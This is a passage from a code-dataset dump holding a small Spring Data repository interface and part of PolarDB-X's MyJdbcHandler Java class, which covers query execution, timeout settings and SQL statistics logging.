max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
4,772 | <filename>jpa/deferred/src/main/java/example/repo/Customer573Repository.java
package example.repo;
import example.model.Customer573;
import java.util.List;
import org.springframework.data.repository.CrudRepository;
public interface Customer573Repository extends CrudRepository<Customer573, Long> {
List<Customer573> findByLastName(String lastName);
}
| 110 |
480 | <gh_stars>100-1000
/*
* Copyright [2013-2021], Alibaba Group Holding Limited
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.polardbx.repo.mysql.spi;
import com.alibaba.polardbx.atom.utils.LoadFileUtils;
import com.alibaba.polardbx.common.datatype.UInt64;
import com.alibaba.polardbx.optimizer.core.rel.DirectShardingKeyTableOperation;
import com.alibaba.polardbx.optimizer.planmanager.feedback.PhyFeedBack;
import com.google.common.collect.ImmutableList;
import com.googlecode.protobuf.format.JsonFormat;
import com.mysql.cj.x.protobuf.PolarxExecPlan;
import com.mysql.jdbc.CommunicationsException;
import com.mysql.jdbc.Statement;
import com.alibaba.polardbx.optimizer.planmanager.feedback.PhyFeedBack;
import com.google.common.collect.ImmutableList;
import com.googlecode.protobuf.format.JsonFormat;
import com.mysql.cj.x.protobuf.PolarxExecPlan;
import com.mysql.jdbc.CommunicationsException;
import com.mysql.jdbc.Statement;
import com.alibaba.polardbx.atom.utils.LoadFileUtils;
import com.alibaba.polardbx.common.datatype.UInt64;
import com.alibaba.polardbx.common.ddl.newengine.DdlConstants;
import com.alibaba.polardbx.common.exception.NotSupportException;
import com.alibaba.polardbx.common.exception.TddlException;
import com.alibaba.polardbx.common.exception.TddlNestableRuntimeException;
import com.alibaba.polardbx.common.exception.TddlRuntimeException;
import com.alibaba.polardbx.common.exception.code.ErrorCode;
import com.alibaba.polardbx.common.jdbc.ConnectionStats;
import com.alibaba.polardbx.common.jdbc.IConnection;
import com.alibaba.polardbx.common.jdbc.MasterSlave;
import com.alibaba.polardbx.common.jdbc.ParameterContext;
import com.alibaba.polardbx.common.jdbc.ParameterMethod;
import com.alibaba.polardbx.common.jdbc.Parameters;
import com.alibaba.polardbx.common.properties.ConnectionParams;
import com.alibaba.polardbx.common.properties.ConnectionProperties;
import com.alibaba.polardbx.common.properties.ParamManager;
import com.alibaba.polardbx.common.utils.GeneralUtil;
import com.alibaba.polardbx.common.utils.Pair;
import com.alibaba.polardbx.common.utils.TStringUtil;
import com.alibaba.polardbx.common.utils.convertor.ConvertorHelper;
import com.alibaba.polardbx.common.utils.logger.Logger;
import com.alibaba.polardbx.common.utils.logger.LoggerFactory;
import com.alibaba.polardbx.common.utils.logger.support.LogFormat;
import com.alibaba.polardbx.common.utils.thread.ThreadCpuStatUtil;
import com.alibaba.polardbx.executor.Xprotocol.XRowSet;
import com.alibaba.polardbx.executor.common.ExecutorContext;
import com.alibaba.polardbx.executor.cursor.Cursor;
import com.alibaba.polardbx.executor.ddl.newengine.utils.DdlHelper;
import com.alibaba.polardbx.executor.exception.ExecutorException;
import com.alibaba.polardbx.executor.utils.ExecUtils;
import com.alibaba.polardbx.executor.utils.failpoint.FailPoint;
import com.alibaba.polardbx.executor.utils.failpoint.FailPointKey;
import com.alibaba.polardbx.gms.metadb.MetaDbConnectionProxy;
import com.alibaba.polardbx.gms.metadb.MetaDbDataSource;
import com.alibaba.polardbx.group.jdbc.TGroupDataSource;
import com.alibaba.polardbx.group.jdbc.TGroupDirectConnection;
import com.alibaba.polardbx.group.utils.StatementStats;
import com.alibaba.polardbx.optimizer.context.ExecutionContext;
import com.alibaba.polardbx.optimizer.core.CursorMeta;
import com.alibaba.polardbx.optimizer.core.Xplan.XPlanTemplate;
import com.alibaba.polardbx.optimizer.core.rel.BaseQueryOperation;
import com.alibaba.polardbx.optimizer.core.rel.BaseTableOperation;
import com.alibaba.polardbx.optimizer.core.rel.DirectShardingKeyTableOperation;
import com.alibaba.polardbx.optimizer.core.rel.DirectTableOperation;
import com.alibaba.polardbx.optimizer.core.rel.PhyDdlTableOperation;
import com.alibaba.polardbx.optimizer.core.rel.PhyTableOperation;
import com.alibaba.polardbx.optimizer.core.rel.PhyTableScanBuilder;
import com.alibaba.polardbx.optimizer.core.rel.SingleTableOperation;
import com.alibaba.polardbx.optimizer.core.row.ResultSetRow;
import com.alibaba.polardbx.optimizer.core.row.Row;
import com.alibaba.polardbx.optimizer.planmanager.feedback.PhyFeedBack;
import com.alibaba.polardbx.optimizer.statis.OperatorStatistics;
import com.alibaba.polardbx.optimizer.statis.OperatorStatisticsExt;
import com.alibaba.polardbx.optimizer.statis.SQLRecord;
import com.alibaba.polardbx.optimizer.utils.ExplainResult;
import com.alibaba.polardbx.optimizer.utils.ITransaction;
import com.alibaba.polardbx.optimizer.utils.RelUtils;
import com.alibaba.polardbx.repo.mysql.cursor.ResultSetCursor;
import com.alibaba.polardbx.rpc.compatible.XDataSource;
import com.alibaba.polardbx.rpc.compatible.XPreparedStatement;
import com.alibaba.polardbx.rpc.compatible.XResultSet;
import com.alibaba.polardbx.rpc.compatible.XStatement;
import com.alibaba.polardbx.rpc.pool.XConnection;
import com.alibaba.polardbx.rpc.pool.XConnectionManager;
import com.alibaba.polardbx.rpc.result.XResult;
import com.alibaba.polardbx.rpc.result.XResultObject;
import com.alibaba.polardbx.statistics.ExecuteSQLOperation;
import com.alibaba.polardbx.statistics.RuntimeStatistics;
import com.alibaba.polardbx.statistics.SQLRecorderLogger;
import com.alibaba.polardbx.stats.MatrixStatistics;
import com.google.common.collect.ImmutableList;
import com.googlecode.protobuf.format.JsonFormat;
import com.mysql.cj.x.protobuf.PolarxExecPlan;
import com.mysql.jdbc.CommunicationsException;
import com.mysql.jdbc.Statement;
import org.apache.calcite.sql.SqlKind;
import org.apache.commons.lang.StringUtils;
import org.openjdk.jol.info.ClassLayout;
import javax.sql.DataSource;
import java.math.BigInteger;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.SQLWarning;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Executor;
import static com.alibaba.polardbx.common.TddlConstants.ANONAMOUS_DBKEY;
import static com.alibaba.polardbx.common.utils.ExceptionUtils.isMySQLIntegrityConstraintViolationException;
import static com.alibaba.polardbx.executor.utils.ExecUtils.buildDRDSTraceComment;
import static com.alibaba.polardbx.executor.utils.ExecUtils.useExplicitTransaction;
import static com.alibaba.polardbx.optimizer.utils.PlannerUtils.TABLE_NAME_PARAM_INDEX;
/**
* Created by chuanqin on 17/7/7.
*/
public class MyJdbcHandler implements GeneralQueryHandler {
public static long INSTANCE_MEM_SIZE = ClassLayout.parseClass(MyJdbcHandler.class).instanceSize();
private static final String UNKNOWN_COLUMN = "42S22";
private static final Logger logger = LoggerFactory.getLogger(MyJdbcHandler.class);
private static final int MAX_LOG_PARAM_COUNT = 500;
private IConnection connection = null;
private ResultSet resultSet = null;
private java.sql.Statement ps = null;
private ExecutionType executionType = null;
private Row current = null;
private CursorMeta cursorMeta;
private boolean isStreaming = false;
private String groupName = null;
private ExecutionContext executionContext = null;
private boolean closed = false;
private MyRepository repo;
private Long rowsAffect = 0L;
private SQLRecord record;
private int phyConnLastSocketTimeout = -1;
protected RuntimeStatistics runtimeStat = null;
protected ConnectionStats connectionStats = new ConnectionStats();
protected StatementStats statementStats = new StatementStats();
protected OperatorStatisticsExt operatorStatisticsExt = null;
protected boolean enableTaskProfile = false;
private XResult xResult = null;
private boolean inTrans = false;
private boolean phySqlExecuted = false;
private boolean lessMy56Version = false;
public enum ExecutionType {
PUT, GET
}
public MyJdbcHandler(ExecutionContext executionContext, MyRepository repo) {
this.executionContext = executionContext;
this.repo = repo;
this.enableTaskProfile = ExecUtils.isSQLMetricEnabled(executionContext);
this.runtimeStat = (RuntimeStatistics) this.executionContext.getRuntimeStatistics();
this.inTrans = useExplicitTransaction(executionContext);
try {
lessMy56Version = ExecutorContext.getContext(
executionContext.getSchemaName()).getStorageInfoManager().isLessMy56Version();
} catch (Throwable t) {
//ignore
}
}
private boolean isForceStream() {
Map<String, Object> extraCmd = executionContext.getExtraCmds();
boolean forceStreaming = false;
if (extraCmd.containsKey(ConnectionProperties.CHOOSE_STREAMING)) {
forceStreaming = executionContext.getParamManager().getBoolean(ConnectionParams.CHOOSE_STREAMING);
} else {
// fetchSize==MIN_VALUE,enable stream mode force
if (Integer.MIN_VALUE == executionContext.getParamManager().getLong(ConnectionParams.FETCH_SIZE)) {
forceStreaming = true;
}
}
return forceStreaming;
}
protected Long getLastInsertIdFromResultSet(ResultSet rs) throws SQLException {
long idVal = 0;
Object lastInsertId = rs.getObject(1);
if (lastInsertId instanceof Long) {
idVal = (Long) lastInsertId;
} else if (lastInsertId instanceof BigInteger) {
// 当lastInsertId的值为负数的,JDBC直接强制将其当作 BIGINT UNSIGNED,
// 并返回的对像BigInteger(该对像的符号值被置为正数),
// 代码细节请参考JDBC:com.mysql.jdbc.StatementImpl.getGeneratedKeysInternal()
// JDBC驱动返回的generated列的类型是BigInteger
// 因为tddl的lastInsertId使用 Long 值来存,因而无法表 BIGINT UNSIGNED 的值,
// 这里直接以负数形式返回,这跟JDBC的行为不一致
idVal = ((BigInteger) lastInsertId).longValue();
} else if (lastInsertId instanceof UInt64) {
idVal = ((UInt64) lastInsertId).longValue();
}
return idVal;
}
void recordSqlLog(String sql, long startTime, long nanoStartTime, long sqlCostTime,
long getConnectionCreateCostNano, long getConnectionWaitCostNano,
Map<Integer, ParameterContext> param, String groupName, ITransaction.RW rw) {
long nanoTime = System.nanoTime() - nanoStartTime;
if (rw == ITransaction.RW.WRITE) {
MatrixStatistics.addWriteTimeCost(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(rw),
nanoTime / 1000);
MatrixStatistics.addPhysicalWriteRequestPerAtom(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(rw),
1L,
sql.length());
} else {
MatrixStatistics.addReadTimeCost(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(rw),
nanoTime / 1000);
MatrixStatistics.addPhysicalReadRequestPerAtom(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(rw),
1L,
sql.length());
}
long time = System.currentTimeMillis() - startTime;
if (SQLRecorderLogger.physicalSlowLogger.isInfoEnabled()) {
try {
long thresold = this.executionContext.getPhysicalRecorder().getSlowSqlTime();
// Use slow sql time of db level first
if (executionContext.getExtraCmds().containsKey(ConnectionProperties.SLOW_SQL_TIME)) {
thresold = executionContext.getParamManager().getLong(ConnectionParams.SLOW_SQL_TIME);
}
if (thresold > 0L && time > thresold) {
String traceId = executionContext.getTraceId();
executionContext.getStats().physicalSlowRequest++;
String currentDbKey = getCurrentDbkey(rw);
long length = executionContext.getPhysicalRecorder().getMaxSizeThresold();
if (sql.length() > length) {
StringBuilder newSql = new StringBuilder((int) length + 3);
newSql.append(sql, 0, (int) length);
newSql.append("...");
sql = newSql.toString();
}
String formatSql = LogFormat.formatLog(sql);
sqlCostTime = (sqlCostTime == -1) ? -1 : sqlCostTime / 1000;
getConnectionWaitCostNano =
(getConnectionWaitCostNano == -1) ? -1 : getConnectionWaitCostNano / 1000;
getConnectionCreateCostNano =
(getConnectionCreateCostNano == -1) ? -1 : getConnectionCreateCostNano / 1000;
this.record = new SQLRecord();
record.schema = executionContext.getSchemaName();
record.statement = formatSql;
record.startTime = startTime;
record.executeTime = time;
record.sqlTime = sqlCostTime;
record.getLockConnectionTime = getConnectionWaitCostNano;
record.createConnectionTime = getConnectionCreateCostNano;
record.dataNode = groupName;
record.dbKey = currentDbKey;
record.affectRow = rowsAffect;
record.physical = true;
record.traceId = traceId;
if (executionContext.getPhysicalRecorder().check(time)) {
executionContext.getPhysicalRecorder().recordSql(record);
}
SQLRecorderLogger.physicalSlowLogger.info(SQLRecorderLogger.physicalLogFormat.format(new Object[] {
formatSql, this.groupName, currentDbKey, time, sqlCostTime, getConnectionWaitCostNano,
getConnectionCreateCostNano, param, traceId}));
}
} catch (Throwable e) {
logger.error("Error occurs when record SQL", e);
}
}
}
/**
* <pre>
* 兼容mysql5.6的时间精度,去掉毫秒.针对部分单表下推的sql在优化器层无法处理,只能在执行层做一次时间精度处理了
* </pre>
*/
public void convertParameters(Map<Integer, ParameterContext> params, ParamManager extraCmds) {
if (extraCmds.getBoolean(ConnectionParams.ENABLE_COMPATIBLE_DATETIME_ROUNDDOWN)
|| extraCmds.getBoolean(ConnectionParams.ENABLE_COMPATIBLE_TIMESTAMP_ROUNDDOWN)) {
for (ParameterContext paramContext : params.values()) {
Object value = paramContext.getValue();
if (value instanceof Date) {
long mills = ((Date) value).getTime();
if (mills % 1000 > 0) {
// 去掉精度
paramContext.setValue(ConvertorHelper.longToDate.convert(((mills / 1000) * 1000),
value.getClass()));
}
}
}
}
return;
}
@Override
public Cursor getResultCursor() {
if (xResult != null) {
throw GeneralUtil.nestedException("Not supported.");
}
if (executionType == ExecutionType.PUT) {
throw new IllegalAccessError("impossible");
} else if (executionType == ExecutionType.GET) {
// get的时候只会有一个结果集
ResultSet rs = resultSet;
return new ResultSetCursor(rs, this);
} else {
return null;
}
}
protected void setStreamingForStatement(java.sql.Statement stat) throws SQLException {
stat.setFetchSize(Integer.MIN_VALUE);
}
protected void setContext(CursorMeta meta, boolean isStreaming, String group) {
if (cursorMeta == null) {
cursorMeta = meta;
}
if (isStreaming != this.isStreaming) {
this.isStreaming = isStreaming;
}
if (groupName == null) {
this.groupName = group;
}
}
@Override
public void close() throws SQLException {
if (this.closed) {
return;
}
synchronized (this) {
if (this.closed) {
return;
}
this.closed = true;
}
long startCloseJdbcRsNano = System.nanoTime();
boolean killStreaming = executionContext.getParamManager().getBoolean(
ConnectionParams.KILL_CLOSE_STREAM);
try {
if (xResult != null) {
if (!killStreaming) {
while (xResult.next() != null) {
;
}
}
xResult.close();
xResult = null;
}
} finally {
try {
if (ps != null) {
ps.setFetchSize(0);
ps.close();
ps = null;
} else {
ps = null;
}
} finally {
if (this.connection != null) {
this.executionContext.getTransaction().tryClose(this.connection, this.groupName);
}
}
}
if (statementStats != null) {
if (enableTaskProfile) {
statementStats.addCloseResultSetNano(System.nanoTime() - startCloseJdbcRsNano);
}
collectStatementStatsForClose();
}
executionType = null;
}
@Override
public Row next() throws SQLException {
// Check XResult first.
if (xResult != null) {
try {
final XResultObject res = xResult.next();
if (null == res) {
if (this.record != null) {
this.record.affectRow = rowsAffect;
}
if (this.operatorStatisticsExt != null) {
this.operatorStatisticsExt.addRowCount(rowsAffect);
}
if (!executionContext.getxFeedBackMap().containsKey(xResult.toString()) &&
xResult.getExaminedRowCount() != -1) {
executionContext.getxFeedBackMap().put(xResult.toString(),
new PhyFeedBack(xResult.getExaminedRowCount(), xResult.getChosenIndexes()));
}
return null;
}
rowsAffect++;
return new XRowSet(xResult, cursorMeta, xResult.getMetaData(), res.getRow(), true);
} catch (Exception e) {
throw GeneralUtil.nestedException(e);
}
}
checkInitedInRsNext();
try {
if (resultSet.isClosed()) {
return null;
}
} catch (Exception ex) {
if (this.record != null) {
this.record.affectRow = rowsAffect;
}
if (this.operatorStatisticsExt != null) {
this.operatorStatisticsExt.addRowCount(rowsAffect);
}
return null;
}
if (resultSet.next()) {
current = new ResultSetRow(cursorMeta, resultSet);
rowsAffect++;
} else {
if (this.record != null) {
this.record.affectRow = rowsAffect;
}
if (this.operatorStatisticsExt != null) {
this.operatorStatisticsExt.addRowCount(rowsAffect);
}
current = null;
}
return current;
}
protected PreparedStatement prepareStatement(String sql, IConnection conn, ExecutionContext executionContext,
boolean isInsert, boolean isDDL) throws SQLException {
long startInitStmtEnvNano = System.nanoTime();
if (this.ps != null) {
throw new IllegalStateException("上一个请求还未执行完毕");
}
if (conn == null) {
throw new IllegalStateException("should not be here");
}
Executor socketTimeoutExecutor = TGroupDirectConnection.socketTimeoutExecutor;
Long socketTimeout = executionContext.getParamManager().getLong(ConnectionParams.SOCKET_TIMEOUT);
if (isDDL) {
phyConnLastSocketTimeout = conn.getNetworkTimeout();
Long ddlTimeout = executionContext.getParamManager().getLong(ConnectionParams.MERGE_DDL_TIMEOUT);
conn.setNetworkTimeout(socketTimeoutExecutor, ddlTimeout.intValue());
} else if (socketTimeout >= 0) {
phyConnLastSocketTimeout = conn.getNetworkTimeout();
conn.setNetworkTimeout(socketTimeoutExecutor, socketTimeout.intValue());
} else if (executionContext.getSocketTimeout() >= 0) {
phyConnLastSocketTimeout = conn.getNetworkTimeout();
conn.setNetworkTimeout(socketTimeoutExecutor, executionContext.getSocketTimeout());
}
conn.setServerVariables(executionContext.getServerVariables());
int autoGeneratedKeys = executionContext.getAutoGeneratedKeys();
if (isInsert) {
autoGeneratedKeys = java.sql.Statement.RETURN_GENERATED_KEYS;
}
int[] columnIndexes = executionContext.getColumnIndexes();
String[] columnNames = executionContext.getColumnNames();
int resultSetType = executionContext.getResultSetType();
int resultSetConcurrency = executionContext.getResultSetConcurrency();
int resultSetHoldability = executionContext.getResultSetHoldability();
// 只处理设定过的txIsolation
if (executionContext.getTxIsolation() >= 0) {
conn.setTransactionIsolation(executionContext.getTxIsolation());
}
// 只处理设置过的编码
if (executionContext.getEncoding() != null) {
conn.setEncoding(executionContext.getEncoding());
}
// 只处理设置过的sqlMode
if (executionContext.getSqlMode() != null) {
conn.setSqlMode(executionContext.getSqlMode());
}
conn.setStressTestValid(executionContext.isStressTestValid());
PreparedStatement ps = null;
if (autoGeneratedKeys != -1) {
ps = conn.prepareStatement(sql, autoGeneratedKeys);
} else if (columnIndexes != null) {
ps = conn.prepareStatement(sql, columnIndexes);
} else if (columnNames != null) {
ps = conn.prepareStatement(sql, columnNames);
} else if (resultSetType != -1 && resultSetConcurrency != -1 && resultSetHoldability != -1) {
ps = conn.prepareStatement(sql, resultSetType, resultSetConcurrency, resultSetHoldability);
} else if (resultSetType != -1 && resultSetConcurrency != -1) {
ps = conn.prepareStatement(sql, resultSetType, resultSetConcurrency);
} else {
ps = conn.prepareStatement(sql);
}
if (executionContext.getLocalInfileInputStream() != null) {
LoadFileUtils.setLocalInfileInputStream(ps, executionContext.getLocalInfileInputStream());
}
this.ps = ps;
this.statementStats.addCreateAndInitStmtNano(System.nanoTime() - startInitStmtEnvNano);
return ps;
}
protected java.sql.Statement createStatement(IConnection conn, ExecutionContext executionContext, boolean isDDL)
throws SQLException {
long startInitStmtEnvNano = System.nanoTime();
if (this.ps != null) {
throw new IllegalStateException("上一个请求还未执行完毕");
}
if (conn == null) {
throw new IllegalStateException("should not be here");
}
Executor socketTimeoutExecutor = TGroupDirectConnection.socketTimeoutExecutor;
Long socketTimeout = executionContext.getParamManager().getLong(ConnectionParams.SOCKET_TIMEOUT);
if (isDDL) {
phyConnLastSocketTimeout = conn.getNetworkTimeout();
Long ddlTimeout = executionContext.getParamManager().getLong(ConnectionParams.MERGE_DDL_TIMEOUT);
conn.setNetworkTimeout(socketTimeoutExecutor, ddlTimeout.intValue());
} else if (socketTimeout >= 0) {
phyConnLastSocketTimeout = conn.getNetworkTimeout();
conn.setNetworkTimeout(socketTimeoutExecutor, socketTimeout.intValue());
} else if (executionContext.getSocketTimeout() >= 0) {
phyConnLastSocketTimeout = conn.getNetworkTimeout();
conn.setNetworkTimeout(socketTimeoutExecutor, executionContext.getSocketTimeout());
}
int resultSetType = executionContext.getResultSetType();
int resultSetConcurrency = executionContext.getResultSetConcurrency();
int resultSetHoldability = executionContext.getResultSetHoldability();
// 只处理设定过的txIsolation
if (executionContext.getTxIsolation() >= 0) {
conn.setTransactionIsolation(executionContext.getTxIsolation());
}
// 只处理设置过的编码
if (executionContext.getEncoding() != null) {
conn.setEncoding(executionContext.getEncoding());
}
// 只处理设置过的sqlMode
if (executionContext.getSqlMode() != null) {
conn.setSqlMode(executionContext.getSqlMode());
}
conn.setServerVariables(executionContext.getServerVariables());
conn.setStressTestValid(executionContext.isStressTestValid());
java.sql.Statement ps;
if (resultSetType != -1 && resultSetConcurrency != -1 && resultSetHoldability != -1) {
ps = conn.createStatement(resultSetType, resultSetConcurrency, resultSetHoldability);
} else if (resultSetType != -1 && resultSetConcurrency != -1) {
ps = conn.createStatement(resultSetType, resultSetConcurrency);
} else {
ps = conn.createStatement();
}
if (executionContext.getLocalInfileInputStream() != null) {
LoadFileUtils.setLocalInfileInputStream(ps, executionContext.getLocalInfileInputStream());
}
this.ps = ps;
this.statementStats.addCreateAndInitStmtNano(System.nanoTime() - startInitStmtEnvNano);
return ps;
}
/**
* 格式不能随意变化, 部分自定义格式的依赖这个结果
*/
protected String buildSql(String sql, ExecutionContext executionContext) {
StringBuilder append = new StringBuilder();
String trace = buildDRDSTraceComment(executionContext);
if (trace != null) {
append.append(trace);
}
if (executionContext.getGroupHint() != null) {
// 如果有group hint,传递一下hint
append.append(executionContext.getGroupHint());
}
String ap = append.toString();
if (StringUtils.isNotEmpty(ap)) {
sql = ap + sql;
}
if (executionContext.getExplain() != null
&& executionContext.getExplain().explainMode == ExplainResult.ExplainMode.EXECUTE) {
sql = "explain " + sql;
}
return sql;
}
@Override
public Row getCurrent() {
if (xResult != null) {
final XResultObject res = xResult.current();
if (null == res) {
return null;
}
try {
return new XRowSet(xResult, cursorMeta, xResult.getMetaData(), res.getRow(), true);
} catch (SQLException e) {
throw GeneralUtil.nestedException(e);
}
}
return current;
}
private void checkInitedInRsNext() {
if (!isInited()) {
throw new TddlRuntimeException(ErrorCode.ERR_EXECUTOR, "not inited");
}
}
@Override
public boolean isInited() {
return xResult != null || resultSet != null;
}
@Override
public boolean isDone() {
return true;
}
public ResultSet getResultSet() {
if (xResult != null) {
return new XResultSet(xResult);
}
return this.resultSet;
}
public ExecutionContext getExecutionContext() {
return executionContext;
}
public void setExecutionContext(ExecutionContext executionContext) {
this.executionContext = executionContext;
}
protected void resetPhyConnSocketTimeout() {
if (phyConnLastSocketTimeout != -1 && connection != null) {
try {
connection.setNetworkTimeout(TGroupDirectConnection.socketTimeoutExecutor, phyConnLastSocketTimeout);
phyConnLastSocketTimeout = -1;
} catch (Throwable ex) {
logger.warn("Reset conn socketTimeout failed, lastSocketTimeout is " + phyConnLastSocketTimeout, ex);
}
}
}
private boolean executeQueryX(XPlanTemplate XTemplate, List<String> phyTableNames,
Map<Integer, ParameterContext> params, String nativeSql, boolean compactMeta) {
long startPrepStmtEnvNano = 0;
if (enableTaskProfile) {
startPrepStmtEnvNano = ThreadCpuStatUtil.getThreadCpuTimeNano();
}
// Get DB info.
final TGroupDataSource group = (TGroupDataSource) repo.getDataSource(groupName);
final String dbName = group.getAtomDataSources().get(0).getDsConfHandle().getRunTimeConf().getDbName();
ITransaction.RW rw = ITransaction.RW.READ; // Now XPlan only support pure read without lock.
// final String trace = buildDRDSTraceComment(executionContext); TODO: Add this to XPlan.
if (executionContext.getGroupHint() != null && !executionContext.getGroupHint().isEmpty()) {
return false; // Not support.
}
if (executionContext.getExplain() != null
&& executionContext.getExplain().explainMode == ExplainResult.ExplainMode.EXECUTE) {
return false; // Not support.
}
// Generate final plan.
final PolarxExecPlan.ExecPlan.Builder execPlan =
XTemplate.getXPlan(dbName, phyTableNames, params, executionContext);
if (null == execPlan) {
return false; // Forbidden by some reason.
}
final JsonFormat format = new JsonFormat();
if (logger.isDebugEnabled()) {
logger.debug("Native XPlan:" + format.printToString(execPlan.build()).replaceAll("\n", " "));
}
// Connect and exec.
long startTime = System.currentTimeMillis();
long nanoStartTime = System.nanoTime();
long sqlCostTime = -1;
long createCostTime = -1;
long waitCostTime = -1;
try {
executionType = ExecutionType.GET;
connection = getPhyConnection(executionContext.getTransaction(), rw, groupName, group);
final XConnection xConnection = connection.unwrap(XConnection.class);
//
// Prepare for execution.
//
final long startInitStmtEnvNano = System.nanoTime();
// Check last.
final XResult last = xConnection.getLastUserRequest();
if (xResult != null || (last != null && !last.isGoodAndDone() && !last.isGoodIgnorable())) {
throw new IllegalStateException("Start XPlan with previous unfinished.");
}
// Reset timeout.
Executor socketTimeoutExecutor = TGroupDirectConnection.socketTimeoutExecutor;
Long socketTimeout = executionContext.getParamManager().getLong(ConnectionParams.SOCKET_TIMEOUT);
if (socketTimeout >= 0) {// 优先自定义参数
phyConnLastSocketTimeout = connection.getNetworkTimeout();
connection.setNetworkTimeout(socketTimeoutExecutor, socketTimeout.intValue());
} else if (executionContext.getSocketTimeout() >= 0) {
phyConnLastSocketTimeout = connection.getNetworkTimeout();
connection.setNetworkTimeout(socketTimeoutExecutor, executionContext.getSocketTimeout());
}
// Session variable.
connection.setServerVariables(executionContext.getServerVariables());
// Advanced setting.
int[] columnIndexes = executionContext.getColumnIndexes();
String[] columnNames = executionContext.getColumnNames();
int resultSetType = executionContext.getResultSetType();
int resultSetConcurrency = executionContext.getResultSetConcurrency();
int resultSetHoldability = executionContext.getResultSetHoldability();
if (columnIndexes != null || columnNames != null || resultSetType != -1 || resultSetConcurrency != -1
|| resultSetHoldability != -1) {
throw new NotSupportException("Advanced statement setting not supported.");
}
// Isolation level.
if (executionContext.getTxIsolation() >= 0) {
connection.setTransactionIsolation(executionContext.getTxIsolation());
}
// Encoding.
if (executionContext.getEncoding() != null) {
connection.setEncoding(executionContext.getEncoding());
}
// Sql mode set in session variables, so this can remove.
if (executionContext.getSqlMode() != null) {
connection.setSqlMode(executionContext.getSqlMode());
}
connection.setStressTestValid(executionContext.isStressTestValid());
if (executionContext.getLocalInfileInputStream() != null) {
throw new NotSupportException("Local file input stream not supported.");
}
if (isStreaming) {
xConnection.setStreamMode(true);
}
this.statementStats.addCreateAndInitStmtNano(System.nanoTime() - startInitStmtEnvNano);
ps = null;
//
// Prepare done. Start execution.
//
executionContext.getStats().physicalRequest.incrementAndGet();
if (enableTaskProfile) {
this.statementStats.addPrepStmtEnvNano(ThreadCpuStatUtil.getThreadCpuTimeNano() - startPrepStmtEnvNano);
}
final long startTimeNano = System.nanoTime();
xConnection.setTraceId(executionContext.getTraceId());
connection.flushUnsent(); // Caution: This is important when use deferred sql.
xConnection.getSession().setChunkResult(false);
if (compactMeta) {
execPlan.setCompactMetadata(true);
}
// Add feedback flag directly in execPlan.
execPlan.setFeedBack(true);
phySqlExecuted = true;
xResult = xConnection.execQuery(execPlan, nativeSql);
// Note: We skip here, so physical_slow never get slow of plan exec, but XRequest record this case.
// xResult.getMetaData(); // Compatible with original time record.
this.resultSet = null;
// 这里统计的是mysql的执行时间
long timeCostNano = System.nanoTime() - startTimeNano;
sqlCostTime = (timeCostNano / 1000);
if (enableTaskProfile) {
this.statementStats.addExecuteStmtNano(timeCostNano);
}
executionContext.getStats().recordPhysicalTimeCost(sqlCostTime);
if (executionContext.isEnableTrace()) {
String sqlPrefix = "/*PolarDB-X Connection*/";
String sql = sqlPrefix + format.printToString(execPlan.build());
String currentDbKey = getCurrentDbkey(rw);
ExecuteSQLOperation op = new ExecuteSQLOperation(this.groupName, currentDbKey, sql, startTimeNano);
op.setThreadName(Thread.currentThread().getName());
op.setTimeCost(System.currentTimeMillis() - startTime);
op.setRowsCount((long) xResult.getFetchCount());
op.setGetConnectionTimeCost((startTimeNano - nanoStartTime) / (float) (1000 * 1000));
executionContext.getTracer().trace(op);
}
} catch (Throwable e) {
logger.error(e);
if (xResult != null) {
xResult.close();
}
xResult = null;
throw GeneralUtil.nestedException(e);
} finally {
executionContext.getTransaction().clearTrxContext();
collectStatementStats();
}
return true;
}
private boolean isXDataSources() {
try {
if (groupName.equalsIgnoreCase(MetaDbDataSource.DEFAULT_META_DB_GROUP_NAME)) {
return MetaDbDataSource.getInstance().getDataSource().isWrapperFor(XDataSource.class);
}
TGroupDataSource dataSource = repo.getDataSource(groupName);
return dataSource != null && dataSource.isXDataSource();
} catch (Exception ignore) {
return false;
}
}
private boolean executeQueryX(CursorMeta meta, BaseQueryOperation queryOperation,
Pair<String, Map<Integer, ParameterContext>> dbIndexAndParam) {
// Tnx check.
if (!isXDataSources() || !XConnectionManager.getInstance().isEnableXplan()) {
return false;
}
final XPlanTemplate XTemplate = queryOperation.getXTemplate();
if (null == XTemplate) {
return false;
}
// Query with XPlan.
final List<String> tableNames;
if (queryOperation instanceof SingleTableOperation) {
final SingleTableOperation singleTableOperation = (SingleTableOperation) queryOperation;
String phyTableName = null;
if (1 == XTemplate.getTableNames().size()) {
// Find table name index.
List<Integer> paramIdx = singleTableOperation.getParamIndex();
boolean found = false;
int tblNameIdx = 1;
for (int i : paramIdx) {
if (i == TABLE_NAME_PARAM_INDEX) {
found = true;
break;
}
++tblNameIdx;
}
if (!found) {
throw GeneralUtil.nestedException("Table name not found.");
}
phyTableName = (String) dbIndexAndParam.getValue().get(tblNameIdx).getValue();
if (!phyTableName.isEmpty() && '`' == phyTableName.charAt(0) && '`' == phyTableName
.charAt(phyTableName.length() - 1)) {
phyTableName = phyTableName.substring(1, phyTableName.length() - 1);
}
} else if (XTemplate.getTableNames().size() > 1) {
throw GeneralUtil.nestedException("Incorrect table name number.");
}
tableNames = null == phyTableName ? Collections.emptyList() : ImmutableList.of(phyTableName);
} else if (queryOperation instanceof DirectTableOperation) {
final DirectTableOperation directTableOperation = (DirectTableOperation) queryOperation;
tableNames = directTableOperation.getTableNames();
} else if (queryOperation instanceof DirectShardingKeyTableOperation) {
tableNames = Collections.singletonList(executionContext.getDbIndexAndTableName().getValue());
} else {
tableNames = null;
}
if (tableNames != null) {
// XPlan have individual parameter mapper.
final Map<Integer, ParameterContext> params =
